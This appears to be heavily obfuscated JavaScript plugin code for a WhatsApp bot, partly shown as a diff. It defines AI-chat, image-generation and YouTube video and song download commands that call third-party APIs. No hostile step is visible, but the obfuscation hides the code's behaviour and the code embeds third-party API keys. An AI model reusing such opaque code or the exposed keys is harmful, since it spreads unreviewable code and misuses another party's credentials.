_0x23f5fd=['msg=','bsWeI','cnt','*powered\x20b','red\x20while\x20','yYxVC','\x20you.','MpzfL','\x20your\x20requ','VXVsW','VdwGU','/traductio','FCnvD','axios','length','jGmkR','esting\x20Bra','2915360VkiaVi','wGiik','/api/ai/gp','VbixV','\x20a\x20me\x20any\x20','DsXfp','otooxy.com','ench\x20:','mQMjj','log','NyodG','json','Jwvaj','stening\x20to','cjVMj','YpDOP','1230exVEhX','y\x20BMW-MD*','Error\x20when','FlMCK','raah-tech','uid=[uid]&','dwgJi','JnJeq','45IELQyK','on.','then','thing.','est','eO1kubFVD&','d=177607&k','Please\x20ask','799470vyNBYw','result','StCqz','message','join','727440OIoVFn','gpt','xKwSr','inShop\x20:','rror\x20occur','\x20the\x20image','Erreur:','oBnWh','https://ap','status','eneration.','error','ng\x20image\x20g','get','Error\x20requ','115096IDWIIz','../Ibrahim','cIYQg','http://api','ycszE','i.ibrahima','\x20s\x27est\x20pro','Error\x20duri','eate-image','\x20translati','yes\x20I\x27m\x20li','/adams','.brainshop','est.','ormation\x20t','essary\x20inf','bot','SeTRl','processing','rVScb','VQitV','zUhjN','ror\x20:\x20','zTdGT','VvUMi','TLYfe','GsLyG','t4?q=','e\x20generati','https://ph','ElUwY','uSNHd','wKzig','BRSSw','383458wICLmX','&apikey=ib','.ai/get?bi','7458759kFSblk','aXwWq','/effect/cr','inShop','Please\x20ent','Oops,\x20an\x20e','catch','sendMessag','Une\x20erreur','ench','tYQar','oops\x20an\x20er','duite','10458rNAGNG','o\x20generate','OEgKg','oHDJo','ey=NwzhALq','dams.us.kg','ng\x20respons','VpmRW','\x20a\x20questio','data','?q=','ng\x20into\x20Fr','er\x20the\x20nec','gpt1'];_0x4421=function(){return _0x23f5fd;};return _0x4421();}const {adams}=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xf0)),traduire=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xab)+'n'),{default:axios}=require(_0x3a5fe3(0xad));adams({'nomCom':_0x3a5fe3(0xf5),'reaction':'📡','categorie':'IA'},async(_0x48c995,_0x3ca759,_0x4442ed)=>{const _0x3fab9b=_0x3a5fe3,_0x36b327={'aXwWq':function(_0x1966c7,_0x25b494){return _0x1966c7(_0x25b494);},'bsWeI':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0xb8),'yYxVC':function(_0x225141,_0x32c16c){return _0x225141(_0x32c16c);},'uSNHd':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0x8e),'tYQar':function(_0x141238,_0x22834a,_0x370974){return _0x141238(_0x22834a,_0x370974);},'YpDOP':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0xd9),'zTdGT':function(_0x3a985a,_0xb851a){return _0x3a985a(_0xb851a);},'jGmkR':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0x88),'VXVsW':function(_0x27463a,_0x27b23e){return _0x27463a(_0x27b23e);},'oHDJo':_0x3fab9b(0xef)+_0x3fab9b(0xbe)+_0x3fab9b(0xa6),'wGiik':function(_0x13300b,_0x15b9a2,_0x3af832){return _0x13300b(_0x15b9a2,_0x3af832);},'wKzig':function(_0x2cbe5e,_0x33e091){return _0x2cbe5e(_0x33e091);},'SeTRl':function(_0x22a68c,_0x16c986){return _0x22a68c+_0x16c986;},'DsXfp':_0x3fab9b(0x90)+_0x3fab9b(0xfb)},{repondre:_0x1b0ad9,ms:_0x21ea22,arg:_0x1e996c}=_0x4442ed;if(!_0x1e996c||!_0x1e996c[0x59*0x43+-0x5*-0x18b+-0x1f02])return _0x36b327[_0x3fab9b(0xa9)](_0x1b0ad9,_0x36b327[_0x3fab9b(0x95)]);try{const _0x1b4489=await _0x36b327[_0x3fab9b(0xb2)](traduire,_0x1e996c[_0x3fab9b(0xd5)]('\x20'),{'to':'en'});console[_0x3fab9b(0xba)](_0x1b4489),_0x36b327[_0x3fab9b(0x86)](fetch,_0x3fab9b(0xe8)+_0x3fab9b(0xf1)+_0x3fab9b(0x84)+_0x3fab9b(0xcf)+_0x3fab9b(0x96)+_0x3fab9b(0xce)+_0x3fab9b(0xc6)+_0x3fab9b(0xa0)+_0x1b4489)[_0x3fab9b(0xcb)](_0x50f73f=>_0x50f73f[_0x3fab9b(0xbc)]())[_0x3fab9b(0xcb)](_0x4d60b6=>{const _0x30fa89=_0x3fab9b,_0x9fd104=_0x4d60b6[_0x30fa89(0xa2)];console[_0x30fa89(0xba)](_0x9fd104),_0x36b327[_0x30fa89(0x8f)](traduire,_0x9fd104,{'to':'en'})[_0x30fa89(0xcb)](_0x2740da=>{const _0x29d8b6=_0x30fa89;_0x36b327[_0x29d8b6(0x86)](_0x1b0ad9,_0x2740da);})[_0x30fa89(0x8b)](_0x11eafa=>{const _0x155b3d=_0x30fa89;console[_0x155b3d(0xe1)](_0x36b327[_0x155b3d(0xa1)],_0x11eafa),_0x36b327[_0x155b3d(0xa5)](_0x1b0ad9,_0x36b327[_0x155b3d(0x7f)]);});})[_0x3fab9b(0x8b)](_0x58c4cc=>{const _0x285f88=_0x3fab9b;console[_0x285f88(0xe1)](_0x36b327[_0x285f88(0xc0)],_0x58c4cc),_0x36b327[_0x285f88(0xfc)](_0x1b0ad9,_0x36b327[_0x285f88(0xaf)]);});}catch(_0x137496){_0x36b327[_0x3fab9b(0x80)](_0x1b0ad9,_0x36b327[_0x3fab9b(0xf6)](_0x36b327[_0x3fab9b(0xb6)],_0x137496));}}),adams({'nomCom':'ai','reaction':'📡','categorie':'IA'},async(_0x2ead56,_0x5dfe1c,_0x210efb)=>{const _0x49914b=_0x3a5fe3,_0x58583a={'TLYfe':function(_0x3dc271,_0x3bd488){return _0x3dc271===_0x3bd488;},'ElUwY':function(_0x1ad1ea,_0x49e9e6){return _0x1ad1ea(_0x49e9e6);},'VbixV':_0x49914b(0xa3)+_0x49914b(0xc2),'ycszE':function(_0x59d5f6,_0x179d33){return _0x59d5f6==_0x179d33;},'VQitV':function(_0x248797,_0x5309a3){return _0x248797(_0x5309a3);},'StCqz':_0x49914b(0xec)+_0x49914b(0xe2)+_0x49914b(0xe0),'VdwGU':_0x49914b(0xdc),'JnJeq':_0x49914b(0x8d)+_0x49914b(0xeb)+_0x49914b(0x91),'oBnWh':function(_0x5796fe,_0x88bef4){return _0x5796fe(_0x88bef4);},'xKwSr':_0x49914b(0x8a)+_0x49914b(0xda)+_0x49914b(0xa4)+_0x49914b(0xf7)+_0x49914b(0xa8)+_0x49914b(0xcd)},{repondre:_0x48d96a,arg:_0x5416cb,ms:_0x2994d3}=_0x210efb;try{if(!_0x5416cb||_0x58583a[_0x49914b(0x79)](_0x5416cb[_0x49914b(0xae)],0xd29*0x1+-0x3e3+-0x946))return _0x58583a[_0x49914b(0x7e)](_0x48d96a,_0x49914b(0x89)+_0x49914b(0x9e)+_0x49914b(0xf4)+_0x49914b(0xf3)+_0x49914b(0x93)+_0x49914b(0xdb)+'.');const _0xb97933=_0x5416cb[_0x49914b(0xd5)]('\x20'),_0x1f5904=await axios[_0x49914b(0xe3)](_0x49914b(0x7d)+_0x49914b(0xb7)+_0x49914b(0x87)+_0x49914b(0xed)+_0x49914b(0x9c)+_0xb97933),_0x3b145d=_0x1f5904[_0x49914b(0x9b)];let _0x173e2d=_0x58583a[_0x49914b(0xb4)];if(_0x58583a[_0x49914b(0xe9)](_0x3b145d[_0x49914b(0xdf)],0x1*-0xb36+0xb4*0x8+0x65e)){const _0x4e07b2=_0x3b145d[_0x49914b(0xd2)];_0x5dfe1c[_0x49914b(0x8c)+'e'](_0x2ead56,{'image':{'url':_0x4e07b2},'caption':_0x173e2d},{'quoted':_0x2994d3});}else _0x58583a[_0x49914b(0xf9)](_0x48d96a,_0x58583a[_0x49914b(0xd3)]);}catch(_0x163d96){console[_0x49914b(0xe1)](_0x58583a[_0x49914b(0xaa)],_0x163d96[_0x49914b(0xd4)]||_0x58583a[_0x49914b(0xc8)]),_0x58583a[_0x49914b(0xdd)](_0x48d96a,_0x58583a[_0x49914b(0xd8)]);}}),adams({'nomCom':_0x3a5fe3(0x9f),'reaction':'📡','categorie':'IA'},async(_0x568514,_0x4f75e0,_0x1e3491)=>{const _0x390aac=_0x3a5fe3,_0x49a275={'cjVMj':function(_0x4e5202,_0x51c5fd){return _0x4e5202===_0x51c5fd;},'BRSSw':function(_0x51add0,_0x517ec4){return _0x51add0(_0x517ec4);},'GsLyG':function(_0x27eed3,_0x3183eb){return _0x27eed3(_0x3183eb);},'cIYQg':_0x390aac(0xec)+_0x390aac(0x98)+_0x390aac(0x7c)+_0x390aac(0xca),'OEgKg':_0x390aac(0xdc),'VvUMi':_0x390aac(0x8d)+_0x390aac(0xeb)+_0x390aac(0x91),'NyodG':function(_0x4925b2,_0x5f2a9d){return _0x4925b2(_0x5f2a9d);},'MpzfL':_0x390aac(0x8a)+_0x390aac(0xda)+_0x390aac(0xa4)+_0x390aac(0xf7)+_0x390aac(0xa8)+_0x390aac(0xf2)},{repondre:_0x8d5a47,arg:_0x58ad77,ms:_0xff2b67}=_0x1e3491;try{if(!_0x58ad77||_0x49a275[_0x390aac(0xbf)](_0x58ad77[_0x390aac(0xae)],0x8d9*-0x3+-0x16e3+-0x14d*-0x26))return _0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x390aac(0xd0)+_0x390aac(0xb5)+_0x390aac(0xcc));const _0x161fe2=_0x58ad77[_0x390aac(0xd5)]('\x20'),_0x5abaf6=await axios[_0x390aac(0xe3)](_0x390aac(0xde)+_0x390aac(0xea)+_0x390aac(0x97)+_0x390aac(0xb3)+_0x390aac(0x7b)+_0x161fe2+(_0x390aac(0x83)+_0x390aac(0xc5))),_0x51e389=_0x5abaf6[_0x390aac(0x9b)];_0x51e389?_0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x51e389[_0x390aac(0xd2)]):_0x49a275[_0x390aac(0x7a)](_0x8d5a47,_0x49a275[_0x390aac(0xe7)]);}catch(_0xdebc65){console[_0x390aac(0xe1)](_0x49a275[_0x390aac(0x94)],_0xdebc65[_0x390aac(0xd4)]||_0x49a275[_0x390aac(0xfd)]),_0x49a275[_0x390aac(0xbb)](_0x8d5a47,_0x49a275[_0x390aac(0xa7)]);}}),adams({'nomCom':_0x3a5fe3(0xd7),'reaction':'🤔','categorie':'IA'},async(_0x2291d5,_0x16d6c1,_0x57a3f1)=>{const _0x261896=_0x3a5fe3,_0x17f32e={'dwgJi':function(_0x1a93f6,_0x41ed98){return _0x1a93f6===_0x41ed98;},'Jwvaj':function(_0x485414,_0x81b8d7){return _0x485414(_0x81b8d7);},'mQMjj':function(_0x1790de,_0x20408d){return _0x1790de(_0x20408d);},'FlMCK':function(_0x3988f8,_0x4d8443){return _0x3988f8(_0x4d8443);},'zUhjN':_0x261896(0xec)+_0x261896(0x98)+_0x261896(0x7c)+_0x261896(0xca),'rVScb':_0x261896(0xdc),'FCnvD':_0x261896(0x8d)+_0x261896(0xeb)+_0x261896(0x91),'VpmRW':_0x261896(0x8a)+_0x261896(0xda)+_0x261896(0xa4)+_0x261896(0xf7)+_0x261896(0xa8)+_0x261896(0xf2)},{repondre:_0x20d6e8,arg:_0x22ec38,ms:_0x5c667f}=_0x57a3f1;try{if(!_0x22ec38||_0x17f32e[_0x261896(0xc7)](_0x22ec38[_0x261896(0xae)],-0x2450+-0x16e*0x7+0x2e52))return _0x17f32e[_0x261896(0xbd)](_0x20d6e8,_0x261896(0xd0)+_0x261896(0x9a)+'n.');const _0x3ae5a1=_0x22ec38[_0x261896(0xd5)]('\x20'),_0x293682=await axios[_0x261896(0xe3)](_0x261896(0xde)+_0x261896(0xea)+_0x261896(0x97)+_0x261896(0xb3)+_0x261896(0x7b)+_0x3ae5a1+(_0x261896(0x83)+_0x261896(0xc5))),_0x57c223=_0x293682[_0x261896(0x9b)];_0x57c223?_0x17f32e[_0x261896(0xb9)](_0x20d6e8,_0x57c223[_0x261896(0xd2)]):_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0xfa)]);}catch(_0x51db2e){console[_0x261896(0xe1)](_0x17f32e[_0x261896(0xf8)],_0x51db2e[_0x261896(0xd4)]||_0x17f32e[_0x261896(0xac)]),_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0x99)]);}});
-
-const _0x5c1a6e=_0x2b80;(function(_0x2445d4,_0x4b81fa){const _0x3b0004=_0x2b80,_0x11c285=_0x2445d4();while(!![]){try{const _0x1da12e=-parseInt(_0x3b0004(0xf0))/(-0x5*-0x56d+0x25*-0x58+-0x734*0x2)*(-parseInt(_0x3b0004(0xd1))/(-0x1*0x2593+-0x73b+-0x1de*-0x18))+-parseInt(_0x3b0004(0xf1))/(0xf9a+-0x1585+-0x5ee*-0x1)+parseInt(_0x3b0004(0xda))/(0x1*-0x901+0xaf9+-0xfa*0x2)+parseInt(_0x3b0004(0xde))/(0x7*-0x305+-0x12a*0x1c+-0x158*-0x28)+parseInt(_0x3b0004(0x119))/(-0x19f0+-0x165*0x7+0x23b9*0x1)*(parseInt(_0x3b0004(0xd2))/(0x853+0xf84+-0x5f4*0x4))+parseInt(_0x3b0004(0x125))/(-0xd8*0x1d+-0x1*-0x121f+0x661*0x1)+-parseInt(_0x3b0004(0xec))/(0x1*-0x1d7+-0x15eb+-0x17cb*-0x1)*(parseInt(_0x3b0004(0xbe))/(-0x22e1*0x1+-0x65b+0x2946));if(_0x1da12e===_0x4b81fa)break;else _0x11c285['push'](_0x11c285['shift']());}catch(_0x9661fb){_0x11c285['push'](_0x11c285['shift']());}}}(_0xc7d0,-0xce7be+0x3029a+0x170c75));function _0xc7d0(){const _0x160c71=['video','gZggY','CYnBe','kEPyW','HTvWw','\x20by\x20','cGqTu','inzkV','ibraah-tec','\x20၊|•','12711128OFkjhg','nloading\x20','Error\x20from','oad/ytmp3v','download_u','join','2?url=','fQmhY','FfSzN','KOFNf','..⏳','Download','mmLSi','status','audio/mp4','ing\x20or\x20dow','dswlk','&apikey=','PLAYER*\x0a\x0a*','sCduu','ccurred\x20wh','LezBK','FYDSy','1930wFavdp','hocRr','url','vvINe','Failed\x20to\x20','jBrOV','yt-search','author','BzeKn','play','PkMXn','title','EveCU','evOie','ert\x20a\x20song','UYpPh','oad/ytmp4v','0\x20•၊၊||၊|။','\x20name.','408164NDJdyR','7UrtZdS','him\x20Adams','song','\x0a\x20Time\x20:\x20','length','Please\x20ins','video/mp4','No\x20audio\x20f','1176304QVkVAP','in\x20later.','https://ap','result','242425JAzayN','aoCxr','ile\x20search','qekDn','Bmw\x20is\x20dow','◁\x20II\x20▷\x201:0','wKawZ','MbJMb','Search','/api/downl','udio.\x20Plea','\x20API:','/adams','Sbjxm','79614JeCpWr','*Bmw\x20Just\x20','se\x20try\x20aga','Downloaded','5NDyMtG','4436502AxUeqB','success','error','SIHxQ','SXQNy','Successful','nloading\x20t','json','he\x20audio.','im\x20Adams*','No\x20videos\x20','name','AWAZm','found.','../Ibrahim','Downloded\x20','*\x0a\x0a*©Ibrah','ound.','videos','\x0a\x0a\x0a>\x20©Ibra','cgJDT','sendMessag','\x202024*','dams.us.kg','An\x20error\x20o','Searching.','timestamp','||။||၊|||။','i.ibrahima','CAqrx','thumbnail','download\x20a','/video\x20nam','RPFvt','*\x0a\x0a*®Adams','TRQiE','lcevF','zCSnj','*BMW\x20SONG\x20','ly\x20✅','6577698NPfiGA','vZzec'];_0xc7d0=function(){return _0x160c71;};return _0xc7d0();}function _0x2b80(_0x592ead,_0x1e3edc){const _0x4abf6c=_0xc7d0();return _0x2b80=function(_0x4e1e2a,_0x3a4cf5){_0x4e1e2a=_0x4e1e2a-(-0x1074+0xcb6+-0x479*-0x1);let _0x12147a=_0x4abf6c[_0x4e1e2a];return _0x12147a;},_0x2b80(_0x592ead,_0x1e3edc);}const {adams}=require(_0x5c1a6e(0xff)+_0x5c1a6e(0xea)),yts=require(_0x5c1a6e(0xc4)),BaseUrl=_0x5c1a6e(0xdc)+_0x5c1a6e(0x10d)+_0x5c1a6e(0x108),adamsapikey=_0x5c1a6e(0x123)+'h';adams({'nomCom':_0x5c1a6e(0x11b),'categorie':_0x5c1a6e(0xe6),'reaction':'🎥'},async(_0x1b9982,_0x410faa,_0x503713)=>{const _0x48610c=_0x5c1a6e,_0x44ca88={'MbJMb':function(_0x187c90,_0x113452){return _0x187c90(_0x113452);},'qekDn':_0x48610c(0xd7)+_0x48610c(0xcc)+_0x48610c(0x111)+'e.','HTvWw':function(_0x7df059,_0x1f2f82){return _0x7df059>_0x1f2f82;},'mmLSi':function(_0x2a473d,_0x1a5b57){return _0x2a473d(_0x1a5b57);},'cGqTu':function(_0x35a6d8,_0x364399){return _0x35a6d8===_0x364399;},'LezBK':_0x48610c(0xd8),'dswlk':function(_0x584f99,_0x3982a3){return _0x584f99(_0x3982a3);},'cgJDT':_0x48610c(0x100)+_0x48610c(0xf6)+_0x48610c(0x118),'CYnBe':function(_0x422c1f,_0x56c541){return _0x422c1f(_0x56c541);},'FYDSy':_0x48610c(0x10a)+_0x48610c(0x12f),'hocRr':function(_0x2a0959,_0x22b95c){return _0x2a0959(_0x22b95c);},'vZzec':_0x48610c(0xfb)+_0x48610c(0xfe),'kEPyW':_0x48610c(0x127)+_0x48610c(0xe9),'AWAZm':function(_0x5dcc7b,_0xaf8231){return _0x5dcc7b(_0xaf8231);}},{ms:_0xc81c6d,repondre:_0x3823ef,arg:_0xdf342d}=_0x503713;if(!_0xdf342d[-0x9c1+0x1af7+-0x1136*0x1]){_0x44ca88[_0x48610c(0xe5)](_0x3823ef,_0x44ca88[_0x48610c(0xe1)]);return;}try{let _0xf3938e=_0xdf342d[_0x48610c(0x12a)]('\x20'),_0x577869=[];const _0x1d9696=await _0x44ca88[_0x48610c(0xe5)](yts,_0xf3938e);_0x577869=_0x1d9696[_0x48610c(0x103)];if(_0x577869&&_0x44ca88[_0x48610c(0x11f)](_0x577869[_0x48610c(0xd6)],0x1e4b+-0xd50+-0x45*0x3f)){const _0x5d7700=_0x577869[-0x1d*0x151+0x1a7d+0xbb0][_0x48610c(0xc0)],_0x1d52c6=await _0x44ca88[_0x48610c(0x131)](fetch,BaseUrl+(_0x48610c(0xe7)+_0x48610c(0xce)+_0x48610c(0x12b))+_0x44ca88[_0x48610c(0x131)](encodeURIComponent,_0x5d7700)+_0x48610c(0x136)+adamsapikey),_0x273b26=await _0x1d52c6[_0x48610c(0xf8)]();if(_0x44ca88[_0x48610c(0x121)](_0x273b26[_0x48610c(0x132)],0xa1*-0x3e+-0x21fc+0x49c2)&&_0x273b26[_0x48610c(0xf2)]){const _0xc134d8=_0x273b26[_0x48610c(0xdd)][_0x48610c(0x129)+'rl'],_0x3be5d6={'image':{'url':_0x577869[-0x1*-0x335+-0x1028+0xcf3][_0x48610c(0x10f)]},'caption':_0x48610c(0xe2)+_0x48610c(0x126)+_0x273b26[_0x48610c(0xdd)][_0x48610c(0xc9)]+_0x48610c(0x120)+_0x577869[0x3f+-0x54b*0x5+0x1a38][_0x48610c(0xc5)][_0x48610c(0xfc)]+_0x48610c(0xd5)+_0x577869[-0x1c8*-0x6+-0x37*0x97+-0x1*-0x15c1][_0x48610c(0x10b)]+(_0x48610c(0x104)+_0x48610c(0xd3))};await _0x410faa[_0x48610c(0x106)+'e'](_0x1b9982,_0x3be5d6,{'quoted':_0xc81c6d}),await _0x410faa[_0x48610c(0x106)+'e'](_0x1b9982,{'video':{'url':_0xc134d8},'mimetype':_0x44ca88[_0x48610c(0xbc)]},{'quoted':_0xc81c6d}),_0x44ca88[_0x48610c(0x135)](_0x3823ef,_0x44ca88[_0x48610c(0x105)]);}else _0x44ca88[_0x48610c(0x11d)](_0x3823ef,_0x44ca88[_0x48610c(0xbd)]);}else _0x44ca88[_0x48610c(0xbf)](_0x3823ef,_0x44ca88[_0x48610c(0x11a)]);}catch(_0x41ef76){console[_0x48610c(0xf3)](_0x44ca88[_0x48610c(0x11e)],_0x41ef76),_0x44ca88[_0x48610c(0xfd)](_0x3823ef,_0x44ca88[_0x48610c(0xbd)]);}}),adams({'nomCom':_0x5c1a6e(0xc7),'categorie':_0x5c1a6e(0x130),'reaction':'🎧'},async(_0x1043b8,_0x5d332b,_0x1d915b)=>{const _0x2d7e65=_0x5c1a6e,_0x428892={'TRQiE':function(_0x1bf567,_0x432735){return _0x1bf567(_0x432735);},'SXQNy':_0x2d7e65(0xd7)+_0x2d7e65(0xcc)+_0x2d7e65(0xd0),'Sbjxm':function(_0x3fdae7,_0x22b8b7){return _0x3fdae7>_0x22b8b7;},'RPFvt':function(_0x3bfbea,_0x39ce57){return _0x3bfbea(_0x39ce57);},'SIHxQ':function(_0x4e775a,_0x41f43e){return _0x4e775a===_0x41f43e;},'zCSnj':_0x2d7e65(0x133),'aoCxr':function(_0x1ff40a,_0x2a5dcd){return _0x1ff40a(_0x2a5dcd);},'BzeKn':_0x2d7e65(0xc2)+_0x2d7e65(0x110)+_0x2d7e65(0xe8)+_0x2d7e65(0xee)+_0x2d7e65(0xdb),'FfSzN':_0x2d7e65(0xd9)+_0x2d7e65(0x102),'evOie':_0x2d7e65(0x127)+_0x2d7e65(0xe9),'vvINe':_0x2d7e65(0x109)+_0x2d7e65(0xbb)+_0x2d7e65(0xe0)+_0x2d7e65(0x134)+_0x2d7e65(0xf7)+_0x2d7e65(0xf9)},{ms:_0x19a053,repondre:_0x4f56c7,arg:_0x3e6473}=_0x1d915b;if(!_0x3e6473[-0xd51*-0x1+0x7*-0x517+0x1650]){_0x428892[_0x2d7e65(0x114)](_0x4f56c7,_0x428892[_0x2d7e65(0xf5)]);return;}try{let _0x3ac9d3=_0x3e6473[_0x2d7e65(0x12a)]('\x20'),_0x46b118=[];const _0x318075=await _0x428892[_0x2d7e65(0x114)](yts,_0x3ac9d3);_0x46b118=_0x318075[_0x2d7e65(0x103)];if(_0x46b118&&_0x428892[_0x2d7e65(0xeb)](_0x46b118[_0x2d7e65(0xd6)],-0x12a8+0xca9+-0x5*-0x133)){const _0x4081da=_0x46b118[0x10*-0x1b7+-0x123e*-0x1+-0x2*-0x499][_0x2d7e65(0xc0)],_0x1baf6b=await _0x428892[_0x2d7e65(0x114)](fetch,BaseUrl+(_0x2d7e65(0xe7)+_0x2d7e65(0x128)+_0x2d7e65(0x12b))+_0x428892[_0x2d7e65(0x112)](encodeURIComponent,_0x4081da)+_0x2d7e65(0x136)+adamsapikey),_0x3b69dc=await _0x1baf6b[_0x2d7e65(0xf8)]();if(_0x428892[_0x2d7e65(0xf4)](_0x3b69dc[_0x2d7e65(0x132)],-0x6c7+0xddf+-0x650)&&_0x3b69dc[_0x2d7e65(0xf2)]){const _0x18900e=_0x3b69dc[_0x2d7e65(0xdd)][_0x2d7e65(0x129)+'rl'],_0x12c008={'image':{'url':_0x46b118[-0x1f3a+0x89*-0x9+-0x240b*-0x1][_0x2d7e65(0x10f)]},'caption':_0x2d7e65(0x117)+_0x2d7e65(0x137)+_0x2d7e65(0xe3)+_0x2d7e65(0xcf)+_0x2d7e65(0x10c)+_0x2d7e65(0x124)+_0x46b118[-0x2110+-0x246f+0x457f][_0x2d7e65(0x10b)]+(_0x2d7e65(0x101)+_0x2d7e65(0xfa))};await _0x5d332b[_0x2d7e65(0x106)+'e'](_0x1043b8,_0x12c008,{'quoted':_0x19a053}),await _0x5d332b[_0x2d7e65(0x106)+'e'](_0x1043b8,{'audio':{'url':_0x18900e},'mimetype':_0x428892[_0x2d7e65(0x116)]},{'quoted':_0x19a053}),_0x428892[_0x2d7e65(0xdf)](_0x4f56c7,_0x2d7e65(0xed)+_0x2d7e65(0xef)+'\x20'+_0x3b69dc[_0x2d7e65(0xdd)][_0x2d7e65(0xc9)]+(_0x2d7e65(0x113)+_0x2d7e65(0x107)));}else _0x428892[_0x2d7e65(0xdf)](_0x4f56c7,_0x428892[_0x2d7e65(0xc6)]);}else _0x428892[_0x2d7e65(0x114)](_0x4f56c7,_0x428892[_0x2d7e65(0x12d)]);}catch(_0x3c3e1c){console[_0x2d7e65(0xf3)](_0x428892[_0x2d7e65(0xcb)],_0x3c3e1c),_0x428892[_0x2d7e65(0x114)](_0x4f56c7,_0x428892[_0x2d7e65(0xc1)]);}}),adams({'nomCom':_0x5c1a6e(0xd4),'categorie':_0x5c1a6e(0x130),'reaction':'🎸'},async(_0x3b7621,_0x6074fc,_0x692112)=>{const _0x410d67=_0x5c1a6e,_0x43e755={'CAqrx':function(_0x169bb8,_0x33b196){return _0x169bb8(_0x33b196);},'lcevF':_0x410d67(0xd7)+_0x410d67(0xcc)+_0x410d67(0xd0),'inzkV':function(_0x4682ef,_0x3c5c33){return _0x4682ef(_0x3c5c33);},'wKawZ':function(_0x1a1e8c,_0x1cfaaf){return _0x1a1e8c>_0x1cfaaf;},'jBrOV':function(_0x2aaeb9,_0x5260f1){return _0x2aaeb9(_0x5260f1);},'UYpPh':function(_0x8ad06a,_0x2ed21c){return _0x8ad06a===_0x2ed21c;},'gZggY':_0x410d67(0x133),'KOFNf':function(_0xc8cd48,_0x3974cc){return _0xc8cd48(_0x3974cc);},'fQmhY':_0x410d67(0xc2)+_0x410d67(0x110)+_0x410d67(0xe8)+_0x410d67(0xee)+_0x410d67(0xdb),'PkMXn':_0x410d67(0xd9)+_0x410d67(0x102),'sCduu':_0x410d67(0x127)+_0x410d67(0xe9),'EveCU':_0x410d67(0x109)+_0x410d67(0xbb)+_0x410d67(0xe0)+_0x410d67(0x134)+_0x410d67(0xf7)+_0x410d67(0xf9)},{ms:_0x56cee5,repondre:_0x4a44cf,arg:_0x233777}=_0x692112;if(!_0x233777[-0x9d9+0x1450+-0x8d*0x13]){_0x43e755[_0x410d67(0x10e)](_0x4a44cf,_0x43e755[_0x410d67(0x115)]);return;}try{let _0x26f73b=_0x233777[_0x410d67(0x12a)]('\x20'),_0x3f04f5=[];const _0x5bfbea=await _0x43e755[_0x410d67(0x122)](yts,_0x26f73b);_0x3f04f5=_0x5bfbea[_0x410d67(0x103)];if(_0x3f04f5&&_0x43e755[_0x410d67(0xe4)](_0x3f04f5[_0x410d67(0xd6)],-0x11a7*-0x1+0x1*0x116f+-0x2316)){const _0x18bcbf=_0x3f04f5[0x1*-0xa99+0x2356+-0x3*0x83f][_0x410d67(0xc0)],_0x5405a5=await _0x43e755[_0x410d67(0xc3)](fetch,BaseUrl+(_0x410d67(0xe7)+_0x410d67(0x128)+_0x410d67(0x12b))+_0x43e755[_0x410d67(0x122)](encodeURIComponent,_0x18bcbf)+_0x410d67(0x136)+adamsapikey),_0x484b2c=await _0x5405a5[_0x410d67(0xf8)]();if(_0x43e755[_0x410d67(0xcd)](_0x484b2c[_0x410d67(0x132)],-0x116*-0x1d+-0x2*0x215+-0x1a8c*0x1)&&_0x484b2c[_0x410d67(0xf2)]){const _0x5c3e12=_0x484b2c[_0x410d67(0xdd)][_0x410d67(0x129)+'rl'],_0x13fbce={'image':{'url':_0x3f04f5[-0x1*-0x133+-0x304+-0x3*-0x9b][_0x410d67(0x10f)]},'caption':_0x410d67(0x117)+_0x410d67(0x137)+_0x410d67(0xe3)+_0x410d67(0xcf)+_0x410d67(0x10c)+_0x410d67(0x124)+_0x3f04f5[0x26b1+0x1383+-0x3a34][_0x410d67(0x10b)]+(_0x410d67(0x101)+_0x410d67(0xfa))};await _0x6074fc[_0x410d67(0x106)+'e'](_0x3b7621,_0x13fbce,{'quoted':_0x56cee5}),await _0x6074fc[_0x410d67(0x106)+'e'](_0x3b7621,{'audio':{'url':_0x5c3e12},'mimetype':_0x43e755[_0x410d67(0x11c)]},{'quoted':_0x56cee5}),_0x43e755[_0x410d67(0x12e)](_0x4a44cf,_0x410d67(0xed)+_0x410d67(0xef)+'\x20'+_0x484b2c[_0x410d67(0xdd)][_0x410d67(0xc9)]+(_0x410d67(0x113)+_0x410d67(0x107)));}else _0x43e755[_0x410d67(0x12e)](_0x4a44cf,_0x43e755[_0x410d67(0x12c)]);}else _0x43e755[_0x410d67(0x12e)](_0x4a44cf,_0x43e755[_0x410d67(0xc8)]);}catch(_0x1b6057){console[_0x410d67(0xf3)](_0x43e755[_0x410d67(0x138)],_0x1b6057),_0x43e755[_0x410d67(0xc3)](_0x4a44cf,_0x43e755[_0x410d67(0xca)]);}});**/
-const _0x4ed45c=_0x4baf;function _0x212c(){const _0xb88e=['ing\x20or\x20dow','tMIbi','hyKAt','Search','timestamp','..⏳','LHZnb','oad/ytmp3?','play','join','*\x0a\x0a*©Ibrah','1052JoxeKu','nloading\x20t','Downloded\x20','rfCKJ','mFTSA','video/mp4','url','IYzph','sendMessag','\x0a\x0a\x0a>\x20©Ibra','\x20by\x20','kYVLY','videos','Searching.','1103412VwLMtT','1838304AeShen','2072357dWPWnX','ffOFc','KUXyw','ySSdo','yt-search','msVTk','woTah','ccurred\x20wh','cCsyW','/adams','jtxfW','../Ibrahim','him\x20Adams','/api/downl','*\x0a\x0a*®Adams','BUidP','10525AZdwiu','lsWPw','\x20name.','gxHYl','19001272lnFtyd','udio.\x20Plea','Download','◁\x20II\x20▷\x201:0','\x0a\x20Time\x20:\x20','vClNH','title','\x20၊|•','1241646wEqHHy','author','Successful','XFhIq','0\x20•၊၊||၊|။','se\x20try\x20aga','Failed\x20to\x20','ibraah-tec','audio/mp4','i.ibrahima','success','FVLSB','No\x20audio\x20f','No\x20videos\x20','he\x20audio.','name','download\x20a','ert\x20a\x20song','https://ap','oad/ytmp4?','error','Tghwi','status','song','im\x20Adams*','/video\x20nam','*BMW\x20SONG\x20','kSrKg','Downloaded','nloading\x20','HsaWh','HaIXC','\x20API:','||။||၊|||။','dCoFJ